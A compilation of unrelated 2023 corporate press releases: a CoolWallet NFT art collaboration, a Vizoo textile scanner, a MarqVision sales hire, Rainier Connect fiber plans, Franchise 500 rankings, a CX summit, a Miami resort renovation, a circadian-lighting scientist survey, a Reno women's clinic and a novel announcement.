The partnership between CoolWallet and the contemporary artist Melek Anqi is the latest example of the rising trend of using Web3 technologies for building communities and establishing brand loyalty. NFTs provide brands with a profound way to connect people via shared interests through compelling storytelling. Brands can create communities where people can engage, trade, purchase, and speak with other people all under the brand's banner.

The artist Melek Anqi told us, "With the use of artworks in the form of NFTs that tell engaging stories, brands like CoolWallet can connect with people through shared interests and experiences. This collaboration with CoolBitX and the release of our NFT collection is an example of how NFTs can create meaningful connections within a digital community where individuals can engage with the artist, the brand, and each other.

In addition to owning a piece of original art, HIROMITA NFT holders will qualify to join CoolWallets private Discord, allowing them to participate in all CoolBitX events and gain exclusive benefits for upcoming Launchpad and CBX airdrops. This ecosystem allows for a variety of interactions and experiences that build deeper connections and loyalty among the community members, which ultimately contributes to the brand's vision of mass adoption of crypto assets.

Get Your Hands On A HIROMITA

Overall, CoolWallet x HIROMITA by Melek Anqi is a unique and exciting collaboration that brings together the worlds of art, culture, finance, and technology. The collection offers a new way for artists to reach a wider audience and for brands to connect with their audience on a deeper level.

Head over to their social media pages, where you can stay tuned for the release of the collection and be a part of the exclusive community of HIROMITA digital product owners. Additionally, theyll be running fun challenges for community members to win their own CoolWallet NFT from the CoolWallet x HIROMITA collection.

About HIROMITA & Melek Anqi

Melek Anqi Kocasinan () is a Taiwanese Turkish contemporary artist known for her vibrant mixed media, textile, and digital artwork. She received her graduate degree at Yale University and further studied fashion design and illustration. A trademark of her work is compelling visual stories with elements of Asian culture and her own personal mythology. Her artwork has recently been showcased in exhibitions and fairs in New York and Istanbul and featured in various publications such as Robb Report, Elle, CNA, and Anadolu News Agency. Using traditional materials and digital tools together, the artist creates otherworldly physi-digital artworks.

HIROMITA, the character featured in the collection, is heavily influenced by Melek Anqi's Asian roots, especially by her childhood years in Taiwan. While learning Chinese in Taipei when she was 7 years old, the artist felt connected with the lively characters in comic books. Being a guardian of 5 cats also inspired her imagining of HIROMITA as a cat. Furthermore, Asian rooftop cat figurines shaped the story of HIROMITA. These traditional sculptures, called "Tiger on the Roof", are said to eat ghosts and bring good fortune to households. Melek Anqi transforms this legend and creates a tiger-spirited cat that eats away the inner void in our modern lives with her terrifying mouth and teeth and gives back love (virtual connections) and abundance (crypto assets). HIROMITA, who has a wild and playful character, also reminds us of the importance of connection to others while staying true to ourselves.

About CoolBitX & CoolWallet

CoolBitX is a blockchain security company that develops and designs secure digital asset hardware wallets and infrastructure to ensure the safe storage and transaction of crypto assets. CoolWallet is the award-winning product of CoolBitX and is a mobile cold storage hardware wallet that allows users to securely store and manage their crypto assets. CoolWallet has recently launched CoolWallet HOT: a new software wallet feature in its CoolWallet app, enabling all crypto users to self-custody their crypto assets with confidence.

CoolWallet is committed to promoting the mass adoption of crypto assets and is constantly exploring new ways to connect people with digital assets. The new CoolWallet HOT module provides a versatile platform to onboard powerful Web3 features faster, helping bolster the industry-wide movement of crypto self-custody among beginner mainstream users who don't use cold asset storage yet. Furthermore, the collaboration with Melek Anqi and the release of the CoolWallet x HIROMITA by Melek Anqi NFT collection is a testament to this commitment, as it brings together the worlds of art, culture, finance, and technology in an exciting and unique way.
Vizoo xTex A4 scanner hardware The advanced hardware will truly allow brands and suppliers to roll out digitization technology fast and easily.

The Fashion industry is going digital. Its not only brands starting to implement and scale their digital product creation processes, but also garment manufacturers and textile mills are adopting digital technologies to improve their design, production, and selling workflows. Consequently, 3D has become a foundational technology in the industry and its use across the supply chain is accelerating exponentially. To meet the increasing demand for material digitization solutions, Vizoo spent the last year developing a completely new xTex A4 scanner. The new modular design of their best-selling product now allows the technology company to scale its hardware supply chain and produce much higher quantities in a shorter time. Next to the advanced producibility, it also increases the maintainability of the systems.

Martin Semsch, CEO of Vizoo says: I am proud of the Vizoo teams hard work to bring this exciting release along. There is years' worth of development for both hardware and software embedded in the new xTex scanner. The advanced hardware will truly allow brands and suppliers to roll out digitization technology fast and easily.

Vizoo also gave the new device an updated look that is familiar but modern. The company engaged a renowned industrial designer to give the scanner a new face while keeping the well-known characteristics and high usability of the hardware.

Today, Vizoo scanners are already appreciated for their high-quality output. Nevertheless, the company pushed the boundaries of the quality of their 3D materials even further with the hardware changes. With the support of the shutter less Nikon z7 and z7II, the scanner now runs on the latest camera technology. The Z7 and an additional modular lens adapter setup stabilizes the entire system and captures images even sharper than before.

Through a reworked interior LED light setup and changes in the calibration procedure, the overall color accuracy is improved for colors within the sRGB spectrum. In addition, the lighting being much more precise than before also allows Vizoo to calculate normal maps even more true-to-life making the capturing of surface structure the best on the market.

As the market leader in digital material creation technology, Vizoo will continue innovating. Currently, research is in progress to further perfect the output quality of the 3D materials for all texture maps by utilizing the new hardware.

"There are still many opportunities we can harness with the new and more powerful scanner.", says Martin Semsch.

A high level feature overview is publicly available in the whats new video.

About Vizoo GmbH

Vizoo is the leading supplier of solutions for the physically accurate digitization of material swatches in the fashion, sportswear, and lingerie industry. Since 2013, the company has helped fashion brands and their supply chain to digitize their material processes and create digital twins of physical material samples. Their technologies are widely used from 3D Design to eCommerce in 45 countries globally. To get more regular updates follow us on social media or visit https://www.vizoo3d.com/
"He is supremely talented, and we know he is the right person to lead us through our next stage of growth."

MarqVision, developers of the worlds first AI-powered IP protection platform, today announced that Niels Kvaavik has joined the company as its Head of Global Sales. Kvaavik is an established sales leader with more than 20 years of experience, working in several international markets. In his new role, he is responsible for growing revenue globally across MarqVisions Sales and Client Services teams in APAC, Europe and North America. Kvaavik will report to MarqVision CEO Mark Lee.

Kvaaviks hiring comes as MarqVision continues to introduce components of the first comprehensive IP operating system. Currently MarqVision supports the worlds leading brands by detecting and removing counterfeits in real time from more than 1,500 online marketplaces. Its AI-powered platform automatically collects evidence and submits claims to thousands of IP reporting centers, all at the click of a button. Additionally, its new MARQ Folio service empowers brands to protect their trademarks globally through intelligent software that handles the entire registration process. Working with MarqVisions global network of top-tier law firms specializing in the ins and outs of local trademark laws, brands are able to enjoy high-quality advice and service at a reasonable price, ensuring a much higher rate of trademark approval in significantly less time than traditional methods of trademark registration.

Kvaavik, a five-time startup revenue leader with experience in growing B2B SaaS sales teams across North America, Europe and APAC, was brought on board to capitalize on the incredible momentum MarqVision has experienced since introducing its platform. The company has grown 300% year-over-year in its first two years since launch. It also plans to roll out even more services as part of its IP operating system later this year, driving further demand.

MarqVision stands alone in the $10 billion global fight against counterfeiters in terms of the level of protection and instant action in safeguarding brands valuable IP, said Kvaavik. MarqVisions technology is so far beyond anything on the market today that it presents the best opportunity to protect digital assets all over the world. I couldnt be more excited to offer our services to the best, most distinguished brands.

Kvaavik has held sales leadership roles within Proptech, Martech and Supply Chain technology companies, consistently achieving exceptional revenue growth. Kvaavik is originally from Denmark where he attended Copenhagen Business School, but he has called San Francisco Bay Area home for the past 16 years.

Niels has seen the IP issues brands face, he understands the market and he knows how issues vary across geographies, said Mark Lee, co-founder and CEO of MarqVision. He is supremely talented, and we know he is the right person to lead us through our next stage of growth.

To learn more about all of MarqVisions offerings, please visit http://www.marqvision.com.

About MarqVision

MarqVision helps global brands identify and remove counterfeits from more than 1,500 online marketplaces across the world. Counterfeiting is a massive and growing threat worldwide, and MarqVision is on a mission to protect creativity and innovation with technology that allows brands to automatically monitor and protect their IPs. Harnessing image recognition and natural language processing, this AI-powered SaaS makes it faster than ever before to take down counterfeits. MarqVision was founded in 2020 by Harvard Law graduates and is backed by DST Global Partners, Softbank, Atinum Investments, Bass Investment, and Y Combinator. The recipient of a prestigious 2022 Innovation Award from LVMH Moet Hennessy Louis Vuitton (LVMH), MarqVision is also part of the LVMH accelerator program, La Maison des Startups, at the Station F incubator. MarqVision is bringing forth the next evolution of brand protection for businesses everywhere. Learn more: http://www.marqvision.com.
With increasing reliance on data and connectivity, reliable ultra-fast internet has become a priority for every household. Following the announcement of our partnership with Palisade, Rainier Connect is planning to expand its fiber network and product offering into communities in Washington State.

Further to the recent transaction announcement between Rainier Connect and Palisade Infrastructure (Palisade) whereby Palisade, on behalf of its managed funds, will acquire 100% of the equity interests in Mashell, Inc., the parent company of Rainier Connect (the Transaction), Rainier Connect is announcing planned fiber investments in Washington State.

Brian Haynes, President & CEO of Rainier Connect said, with increasing reliance on data and connectivity, reliable ultra-fast internet has become a priority for every household. Following the announcement of our partnership with Palisade, Rainier Connect is planning to expand its fiber network and product offering into communities in Washington State across several counties including Pierce, King, Lewis, Snohomish, Thurston, and Grays Harbor. These communities cover both the current Rainier Connect operating footprint as well as expansion markets. This planned expansion will bring Gigabit speed internet to many local communities for the first time, which together with Rainier Connects locally-based customer service will represent a big win for customers. We look forward to engaging with specific communities as we make progress in our deployment plans.

Mike Reynolds, Managing Director, Americas, Palisade Infrastructure said, Palisade supports Rainier Connects decision to expand its fiber network. These investments are consistent with our previously announced intent to invest in Rainier Connects growth over the long term for the benefit of customers and communities. We look forward to closing this Transaction expeditiously and continuing Rainier Connects investments in local fiber broadband.

The Transaction remains subject to approval by the City of Tacoma, Federal, State, and local regulatory approvals, and customary closing conditions.

About Rainier Connect: Rainier Connect offers affordable high-speed internet, Stream TV, phone, and Boost networking services. Rainier Connect is a locally based business serving Tacoma, Puyallup, Eatonville, and Graham for over 100 years.

About Palisade: Palisade is a global independent, specialist infrastructure and real assets manager. Palisades North American capability leverages its extensive track record of successful investment in Australia & New Zealand and initially focuses on the digital, energy, and transport infrastructure sectors. Palisade has a partnership-focused approach with a long-term investment horizon.
BrightStar Care was recognized as one of the top 500 franchises in Entrepreneurs Franchise 500, the worlds first, best, and most comprehensive franchise ranking. The 44th annual Entrepreneur Franchise 500 is a highly sought-after honor in the franchise industry. Recognized as an invaluable resource for potential franchisees, the 2023 Franchise 500 recognizes BrightStar Care for its outstanding performance in areas including unit growth, financial strength and stability, and brand power. This year BrightStar Care ranked #141 on the list, rising 175 spots since 2020.

The past year underscores the extraordinary opportunities that the franchise industry presents for entrepreneurs of all levels, says Entrepreneur editor-in-chief Jason Feifer. The companies named to our 44th annual Franchise 500 list represent some of the most innovative, creative, and trusted brands across many industries and highlight what it takes to build the kind of momentum that drives long-lasting success.

For the past thirteen years BrightStar Care has held a steady year-over-year presence on the Franchise 500 list, and we are honored to once again achieve this prestigious recognition as one of the top franchises in the nation, said Shelly Sun, editor-in-chief and founder of BrightStar Care. As our business continues to expand into new markets and territories, BrightStar Care proves to be a prosperous opportunity for current and prospective franchisees.

In Entrepreneurs continuous effort to best understand and evaluate the ever-changing franchise marketplace, the companys 44-year-old ranking formula continues to evolve as well. The editorial team researches and assesses several factors that go into the evaluation including costs and fees, size and growth, support, brand strength, and financial strength and stability. Each franchise is given a cumulative score based on an analysis of more than 150 data points, and the 500 franchises with the highest cumulative scores become the Franchise 500 in ranking order.

The Franchise 500 has become both a dominant competitive measure for franchisors and a primary research tool for potential franchisees. BrightStar Cares position on the ranking is a testament to its strength as a franchise opportunity.

Over the last year, BrightStar Care has released groundbreaking data demonstrating the brands unmatched clinical outcomes and payer benefits as well as impactful industry studies that benefit and strengthen its entire franchise network. With these achievements, BrightStar Care is well-positioned to continue its accelerated growth trajectory and affirm its spot as a leader in the franchise and home care industries.

To view BrightStar Care in the full ranking, visit http://www.entrepreneur.com/franchise500. Results can also be seen in the January/February 2023 issue of Entrepreneur. For more information on franchising opportunities with BrightStar Care visit http://www.brightstarfranchising.com.

ABOUT BRIGHTSTAR CARE:

BrightStar Care is a national home care and medical staffing franchise headquartered in Chicago with more than 365 franchised and company-owned locations nationwide that provide medical and non-medical services to clients in their homes, as well as supplemental care staff to corporate clients. BrightStar Care operates with five separate revenue streams allowing franchisees uncapped earning potential. Over the last 20 years, Founder and CEO Shelly Sun has built BrightStar Care from a local business into a nationally recognized brand that generates more than $639 million system-wide using a franchise model built for infinite growth. In addition, BrightStar Care is the only national home care franchise to receive The Joint Commission's Enterprise Champion for Quality award consecutively for the last decade. Other prestigious BrightStar Care accolades include making the Entrepreneur Franchise 500 list for thirteen consecutive years, and continuously ranking on Franchise Business Review's Top Franchise list and Franchise Times Top 400 list. For more information on BrightStar Care please visit http://www.brightstarfranchising.com.
March 1-3, 2023 - Customer Response Summit in Austin, Texas "The dynamic speaking lineup includes some of the worlds most admired brands and the CX executives who run them, including Nationwide, Marriott International, Turo, St. Jude Childrens Research Hospital, United Airlines, Roblox, Phillips, woom Bikes, and more."

Global customer experience (CX) industry leader Execs In The Know is taking Customer Response Summit (CRS) to Austin, Texas. The highly anticipated event takes place March 1-3, 2023, at the JW Marriott Austin and is an opportunity to explore Creating Moments That Matter with a community of CX leaders.

The focus of the summit will be PASSION for Customers, the POWER of Technology, and PURPOSE Driven Leadership. CRS is where leading CX executives and their teams learn, share, and engage through inspiring keynotes, panels, case studies, idea sharing, and cant-miss peer-to-peer networking events.

Featuring an agenda thats been built for leaders who are advancing the conversation on CX, customer service, and the challenges currently facing the industry, CRS Austin will be punctuated with moments that truly matter.

"Yet againand much to our delightwe are returning to Austin, said Chad McDaniel, President of Execs In The Know. We are excited with the world-class, all-star line-up of speakers and panelists that are coming from across sectors to share their expertise, insights, and experience. Part of working in this industry is imagining what could be and exploring the possibilities.

Attendees will discover new perspectives on the current and future CX landscape with insights from speakers who are setting a new bar by propelling the industry forward, one experience at a time. The dynamic speaking lineup includes some of the worlds most admired brands and the CX executives who run them, including Nationwide, Marriott International, Turo, St. Jude Childrens Research Hospital, United Airlines, Roblox, Phillips, woom Bikes, and more.

In her keynote, Passion on Purpose: Why Great Leadership Is Driven by Passion, Jasmine Green, Vice President of Enterprise Customer Solutions and Enablement at Nationwide, will share her principles on why passion must be interwoven into every aspect of CX. Wilfred Busby, Senior Vice President of Employee Experience at St. Jude Childrens Research Hospital, is slated to explain how a culture of empowerment and engagement paves the way for operational excellence.

Additionally, Julie Weingardt, Chief Operations Officer at Turo, the worlds largest car sharing marketplace, will take center stage to share why the power of customer obsession lies beyond being customer-centric. Shannon Patterson, Senior Vice President of Customer Engagement Centers at Marriott International, is keen on diving into how putting people first translates to seamless guest experiences, happier customers, and brand loyalty.

Be sure to check out CRS Austins agenda page for a complete overview of what's happening each day of the event. Registration for the event is still open and you can even sign up for email updates on sessions and future CRS events to stay informed as each event draws near.

To learn more about joining us in the Live Music Capital of the World, take a moment to visit the event page, or find out what to expect when you attend by watching a short highlight reel from Execs In The Knows last live CRS event, CRS Coronado.

To stay up to date on future Customer Response Summit events and all other CX thought leadership, sign up for our mailing list: https://execsintheknow.com/stayintheknow/

CRS Next Stops:

September 20-22, 2023: Customer Response Summit  Nashville, TN
A luxury oceanfront guestroom at Acqualina Resort. Acqualina is a brand that continuously looks for ways to improve and implement new services and amenities for our customers to enjoy, from design and activities to dining experiences, said Deborah Yager Fleming, CEO and Partner.

Acqualina Resort & Residences, located in Miamis Sunny Isles Beach and recognized for providing great living and lifestyle experiences, unveils a glamorous refresh of the Mediterranean villa-style resort. From a newly transformed gallery lobby, decadent new adult pool experience, AcquaMarine kids club, luxurious rooms and suites, and restaurants, Acqualinas enhancements offer glamour, style, and timeless beauty.

Acqualina is a brand that continuously looks for ways to improve and implement new services and amenities for our customers to enjoy, from design and activities to dining experiences, said Deborah Yager Fleming, CEO and Partner. This differentiates us, coupled with our friendly and heartfelt service.

From every vantage point and from every angle, owners Jules and Stephanie Trump with Yager Fleming and Isabel Tragash and her team from STA Architectural Group have slowly and carefully selected beautiful, rare, and specially curated elements to create a home like no other for Acqualina guests and residents.

Newly Transformed Gallery Lobby

The vision for Acqualina Resorts new lobby spaces is one of refreshed luxury and contemporary grandeur. The fresh color palette influenced by the emerald green waters of the Atlantic Ocean brings to life the architectural features that were enhanced and highlighted with varying shades of whites and strong punctuations of lustrous black millwork. In the warm gallery living room-style gathering space, the furniture features contemporary Fendi Casa selections. Additional striking details feature bespoke rugs handcrafted in Nepal, Brazilian marble, sumptuous velvet chenille fabrics, and highlights of smoke glass and metallic accents.

Luxurious Bathrooms, Guestrooms & Suites

All bathrooms in 98 guestrooms and suites were given lustrous makeovers with Italian marble floors, separate glass-enclosed showers surrounded by custom, white textured wallpaper, LED-lit Italian sconces, wall-to-wall Molteni vanities in the suites, new plush bathrobes, ESPA bath and Lady Primrose after-sun products and either Baci counter or Nameeks wall-mounted makeup mirrors.

Our DNA is classic furnishings with modern elements, says Yager Fleming. The bathrooms adhere to this philosophy with curated finishes that are either custom-made or from high-end designers that manufacture everything for us, she says, while describing the White Vena Oro marble vanities as fresh and translucent, brightening the entire bathroom space. New Boca Terry white robes and white slippers complete the luxurious experience.

Every bed has new, soft-as-silk linens, including a duvet cover with champagne trim and Euro shams with Acqualinas signature A. Acqualina collaborated with Ideal Casas Virgilio Mariano to customize furniture for continuity and Italian elegance. From the sophisticated, yet practical, Italian-made Miami Sofa Bed with its hidden opening mechanism, to glass-topped bronze metal end tables and dining table with a leather-stitched column, solid wood Tub chairs and curved oak bar stools, every new suite addition is elegant, comfortable and timeless. Even the suites luxurious suspender lounge chairs were commissioned by RGS Europe and made in Spain. In addition, suite kitchens were created for glamorous evenings in, with elegant Lapitec Stone Bianco Vittoria kitchen counters, LED high-hats and Everest chandeliers.

The Guest Room Arrival Experience

We wanted our guests to feel as though they have entered their own private foyer area as soon as they step off the elevator, says Yager Fleming. We selected a bronze-toned carpet with black accents to tie into our beautiful zebrawood furniture pieces, and then a Luna custom wallpaper that artistically suggests ocean waves breaking.

New Adult Pool Experience

The ocean view Adult Pool has been enhanced with signature red loveseats, custom daybeds, and modern chaise lounges to create a sophisticated vibe. Four crimson cabanas take the alfresco experience to new heights for daytime luxury. The opulent sanctuaries are bastions of comfort with elegant lounge seating, backgammon-set tables, refrigerator, television, privacy curtains, fans, beverages, international cheeses and tropical fruits, signature Acqualina hats, Hampton Sun products, and so much more.

AcquaMarine Kids Club

The award-winning AcquaMarine kids club offered for children ages 4-12 and complimentary when booking accommodations at Acqualina is now operated by Itavi, a childcare provider founded by Miamian Ayana Rodriguez, and brings a revolutionary ocean-themed program to South Florida. In addition to the new AcquaMarine program, children will also enjoy the state-of-the-art children's room, an all-in-one classroom, fun center, and learning lab, now featuring an open floor plan with light blue color tones reminiscent of the turquoise sea. The newly redesigned space has a play area including a cozy reading corner, new furniture, epoxy floors with glacier flakes, games, toys and accessories and a colorful sea life mural creating a great learning environment for a world of science and discovery. The new mural installation is brushed with a variety of brightly colored fish and Floridas coral reefs. There's a chalkboard wall for the kids to draw on for the Acqualina kids' art gallery. The ceiling was specially designed creating an underwater effect further incorporating the marine biology theme.

Il Mulino New York

Acqualinas venerable Il Mulino New York, a classic South Florida gathering place, was elevated with soft white paint, applied in layers for texture and vibrancy, while black and white photos of Italy replaced heavy tapestries. Weighty wall sconces were exchanged for light, elegant chandeliers with tailored shades and comfortable dining chairs were refinished in luxurious black leather that gleams against a refinished original mahogany backdrop. While its still recognizable to long-time Il Mulino patrons, the fresh makeover is comfortably sophisticated.

Avra Miami

Avra Miami recently opened at the new Estates at Acqualina and connects to the resort by an exclusive sky bridge. Inspired by its Greek menu and oceanfront setting, STA Architectural Group created a larger-than-life space with floor-to-ceiling windows and then introduced a bougainvillea-entwined pergola and three Fernando Mastrangelo-designed salt stone sculptures for unexpected wow factors. Avra marks the fourth oceanfront restaurant at Acqualina joining Il Mulino New York for authentic Italian cuisine, Ke-uH for exquisite Japanese fare, and Costa Grill for Floridian beachside dining.

For more information and reservations, visit acqualinaresort.com.

ABOUT ACQUALINA RESORT & RESIDENCES

Acqualina Resort & Residences is where the charm of a Mediterranean villa meets elegance on the beach. The lush grounds feature red couches set on Seashore Paspalum grass and are dotted with signature red umbrellas. A seaside luxury haven located on 4.5 beachfront acres in pristine Sunny Isles Beach, Acqualina Resort features 98 impeccably appointed guest rooms and suites and 188 residences with breathtaking views of the Atlantic Ocean, world-class dining including Il Mulino New York, the alfresco Costa Grill, Ke-uH Japanese restaurant, the new Avra Miami, three oceanfront swimming pools, spacious meeting rooms, and AcquaMarine, an innovative marine biology-based childrens program. A variety of lavish interior and exterior venues provide an ideal background for opulent weddings and memorable events. Acqualina Spa provides guests with an exquisite 20,000-square-foot, two-story tranquil sanctuary of excellence and relaxation. A family-owned and operated property, Acqualina is a recipient of the coveted Forbes Travel Guide Awards for both the hotel and spa and the AAA Five Diamond Award.
BIGGBY COFFEE was recognized as one of the top 500 franchises in Entrepreneurs Franchise 500, the worlds first, best and most comprehensive franchise ranking. The 44th annual Entrepreneur Franchise 500 is a highly sought-after honor in the franchise industry. Recognized as an invaluable resource for potential franchisees, the 2023 Franchise 500 ranks BIGGBY COFFEE as number 272 for its outstanding performance in areas including unit growth, financial strength and stability, and brand power.

Were honored to be included in the Franchise 500 list, said Michael McFall, co-founder and co-CEO of BIGGBY COFFEE. We have worked hard to build a unique concept, and recognition from Entrepreneur after a year of incredible growth just reaffirms the strength of the BIGGBY COFFEE model. As we continue to develop, 2023 will bring even more wins.

The past year underscores the extraordinary opportunities that the franchise industry presents for entrepreneurs of all levels, says Entrepreneur editor in chief Jason Feifer. The companies named to our 44th annual Franchise 500 list represent some of the most innovative, creative and trusted brands across many industries and highlight what it takes to build the kind of momentum that drives long-lasting success.

In Entrepreneurs continuing effort to best understand and evaluate the ever-changing franchise marketplace, the companys 44-year-old ranking formula continues to evolve, as well. The editorial team researches and assesses several factors that go into the evaluation including costs and fees, size and growth, support, brand strength and financial strength and stability. Each franchise is given a cumulative score based on an analysis of more than 150 data points, and the 500 franchises with the highest cumulative scores become the Franchise 500 in ranking order.

Over its 44 years in existence, the Franchise 500 has become both a dominant competitive measure for franchisors and a primary research tool for potential franchisees. BIGGBY COFFEEs position on the ranking is a testament to its strength as a franchise opportunity.

To view BIGGBY COFFEE in the full ranking, visit http://www.entrepreneur.com/franchise500. Results can also be seen in the January/February 2023 issue of Entrepreneur, available on newsstands January 17th.

About The BIGGBY COFFEE Franchise

BIGGBY COFFEE, based in East Lansing, Mich., was started with a single store on March 15, 1995. One year later, and on the cusp of opening a second location, Bob Fish and Michael McFall, on a handshake and $4,000, decided to franchise the concept. The brands cultural values of Make Friends, Have Fun, B Yourself and Share Great Coffee help coffee lovers and the coffee-curious alike benefit from a less pretentious and fun approach to the standard gourmet cafe paradigm. Besides connoisseur-worthy drinks with names like Teddy Bear and Caramel Marvel, BIGGBY COFFEE baristas provide a unique experience focused on brightening their customers day and supporting them in building a life they love. The Big B on the orange background caught on, and today BIGGBY COFFEE has 330-plus cafes across many states, including Michigan, Ohio, Indiana, Illinois, North Carolina, South Carolina, Wisconsin, Kentucky, Idaho, Georgia and Florida.

###
Dr. Martin Moore-Ede "Fewer than 0.5% of lights sold today protect circadian health by altering their blue content across day and night. So, we asked the leading scientists who work on circadian rhythms and light whether they agreed," said Dr. Martin Moore-Ede, M.D., PhD.

Many of the lights sold today are causing major health problems, including obesity, diabetes, and breast cancer. Why? They are blue-enriched LEDs, which play havoc on people's circadian rhythms during the evening hours. Today the Circadian Light Research Center released the results of a consensus survey of 248 leading scientists, which confirms that human circadian clocks are highly sensitive to blue wavelengths, and exposure to insufficient daytime blue-rich light and excessive blue-rich light at night, leads to many major health disorders.

Lead author Martin Moore-Ede, M.D., Ph.D., director of the Circadian Light Research Center and a former professor at Harvard Medical School, said, "Fewer than 0.5% of lights sold today protect circadian health by altering their blue content across day and night. Many people in the lighting industry claim that the circadian science is not sufficiently mature to incorporate into lights. So, we asked the leading scientists who work on circadian rhythms and light whether they agreed."

About the study: All scientists on PubMed who had published four or more peer-reviewed scientific papers since 2008 on circadian + light were invited to participate. Two hundred forty-eight of these scientists, who had published a total of 2,697 peer-reviewed publications on light and circadian clocks since 2008, completed an online survey with 40 potential consensus statements. They were asked to assess for each statement whether there was "no evidence, "limited" evidence, "good evidence," or "well established. Consensus was established for 24 of these statements, where more than 2/3 agreed there was "good evidence" or it was "well established.

The study titled Lights Should Support Circadian Rhythms: Evidence-Based Scientific Consensus was published online on Research Square, a preprint server, and submitted for peer-reviewed journal publication. It reports there was a scientific consensus on the following:



Robust circadian rhythms are essential for maintaining good health

Disrupting circadian rhythms can cause ill health.

Repetitive and prolonged exposure to light at night bright enough to cause circadian disruption increases the risk of breast cancer in women, increases the risk of obesity and diabetes and increases the risk of sleep disorders

There was also Consensus about the key role of the blue wavelengths in white light:



The most potent wavelengths for circadian entrainment are 460-495 nm blue light near the sensitivity peak of the ipRGC melanopic receptors

Blue-enriched light in the evening (during the three hours before bedtime) disrupts nocturnal sleep, phase shifts the circadian system and disrupts circadian rhythms

The blue content of light entering the eyes is much more important in determining circadian health outcomes than the correlated color temperature (CCT) of the light source.

The scientists also agreed that:



There is now sufficient evidence to support the widespread introduction of circadian lighting that adjusts light intensity and blue content across day and night to maintain robust circadian entrainment and health

Light used in the evening (during the three hours before bedtime) should have as little blue content as practically possible

LED lights with high 460-495nm blue content should carry the warning label "may be harmful if used at night"

Increasing lights' energy efficiency is desirable, but not if it increases the risks of causing circadian disruption and serious illness.

Professor Sean Cain of Monash University in Australia, an author of the study, said: "Exposure to blue-enriched LED light in the evening and night hours raises significant health issues because the human circadian system is highly sensitive to blue light near the 480 nm peak sensitivity of the melanopic intrinsically-photosensitive retinal ganglion cells (ipRGCs) in the human retina. Even small amounts of blue content in white LED light during nocturnal hours can cause circadian disruption and increase the risk of health disorders."

Other authors include Professor David Blask of the Tulane University School of Medicine, Professor Randy Nelson of West Virginia University and Dr. Anneke Heitmann of the Circadian Light Research Center.

Since 2013 electric lighting has been transformed by the introduction of highly energy-efficient LED (light-emitting diode) lights and the progressive regulatory-enforced phase-outs of other less efficient light sources, including incandescent, halogen, CCFL, and fluorescent lights. However, most LED lights optimize efficacy by utilizing a blue chip which increases the relative percentage of blue content in the white light spectrum compared to other light sources.

To alleviate health problems associated with blue-enriched LEDs, people can purchase lights for evening and night use that do not contain blue light and use blue-enriched LEDs during daytime only.

To read the entire report, visit https://www.researchsquare.com/article/rs-2481185/v1.

About Martin Moore-Ede M.D., Ph.D.

For over 40 years, Dr. Moore-Ede has been a leading world expert on circadian clocks and the health problems caused by electric light at night. As a professor at Harvard Medical School (1975  1998), he led the team that located the suprachiasmatic nucleus, the biological clock in the human brain that controls the timing of sleep and wake. He pioneered research on how circadian clocks regulate the timing of body functions. Since 2010, he has led the Circadian Lighting Research Center team that identified the key blue signal that synchronizes circadian clocks and developed patented LED lights, which provide circadian-optimized light across day and night based on comprehensive medical research. The effectiveness of these circadian-modulated lights in improving health and well-being has been validated by installing them in the 24-hour operations of Fortune 500 companies and hospitals. He has published over 180 scientific articles and authored ten books, including the best-selling books, The Clocks that Time Us, and The Twenty-Four Hour Society and he has a forthcoming book The Light Doctor: The Science and Solutions for Replacing Your Lights Now to Protect Your Health. For more information visit, https://thelightdoctor.com.
We are looking forward to developing long-lasting relationships and providing our female patients with the personalized care they deserve, says Dr. Rajamand.

Highly credentialed gynecologist, Dr. Rajamand leads the team at FEM Womens Wellness, located at 5448 Reno Corporate Dr, Reno, NV. At FEM Womens Wellness, Dr. Mariko Rajamand, Dr. Yizhou Ernst and Andrea Thompson, APRN are dedicated to providing optimal care for womens health at this new, state-of-the-art center in the northern Nevada area. The clinic offers physical, emotional, and aesthetic services all under one roof for women in a warm, friendly environment. From annual exams, pap screens, birth control and menopause management to specialized diagnostic procedures, cancer screenings, robotic gynecological surgery, biopsies and growth removal, they have all of the services needed to protect a womans health. Mental health is a vital part of wellness, and at FEM Womens Wellness, they have one of the only reproductive psychiatry specialists in Nevada. Along with experienced therapists, they provide emotional and mental support for those going through unique female experiences. FEM also empowers women to look as good as they feel, so the clinic provides medical cosmetic services, such as Botox, IPL treatments, laser hair removal, Morpheus8, and vaginal rejuvenation procedures for head-to-toe aesthetics.

We are looking forward to developing long-lasting relationships and providing our female patients with the personalized care they deserve, says Dr. Rajamand. By integrating gynecology, mental health, and medical aesthetics services, we can provide comprehensive care that addresses the whole person. We believe that this integrated approach will lead to better outcomes and improved quality of life for the women we serve.

More about Dr. Mariko Rajamand:

Dr. Mariko Rajamand is a board-certified OBGYN serving the greater Reno/Tahoe area since 2019. Setting her apart from traditional gynecologists, she has unique training enabling her to perform complex urogynecologic surgeries on the pelvic floor. After graduating from California State University, Long Beach, Dr. Rajamand attended Midwestern University College of Osteopathic Medicine in Glendale, AZ. Dr. Rajamand trained in obstetrics and gynecology in southeast Michigan, graduating from Michigan State University at Ascension Health Hospitals. Dr. Rajamand has affiliations with various organizations and is active with the American Board of Obstetrics and Gynecology, American College of Obstetricians and Gynecologists, American Association of Gynecologic Laparoscopists and the North American Menopause Society. For more information or to schedule an appointment at FEM Womens Wellness, please visit femwomenswellness.com or call (775) 993-9292.


After the release of The Silver Heart in 2021, Samantha Sheridan announces her return into the publishing scene with its follow-up Zoey's Christmas Wish (published by Archway Publishing), a heartwarming story of the bond between a mother and her daughter and a young womans journey of learning to love again after heartbreaking loss.

Victoria lost her soldier husband to an uprising in the Middle East and she does not intend to leave their home and the memories of Luke behind. However, extended family calls. Victorias grandfather David has had a stroke, and she is needed back in Texas, along with her young daughter Zoey.

With Christmas on the horizon, Zoey gets the chance to visit Santa Claus, and she makes a very specific request. She does not want toys; instead, she wishes for her mother to be happy again. Of course, Victoria does not know about this wish and certainly does not expect a Texas man named CJ to be the answer to her grief. Somehow, Victoria opens her heart to CJ, and their relationship slowly blossoms into something more than friendship. Is Victoria ready to move on from her beloved Luke?

Many military wives and husbands lose their spouses, and this book touches on that and what happens when the right person comes into your life. It also has a little girl who is watching her mom and only wishes for her mom to smile and be happy again. She meets a friend, Cece, whom she connects with, and they tell each other their secrets and share their love of horses. Cece teaches Zoey to ride, and they eventually go to horse shows together, Sheridan says.

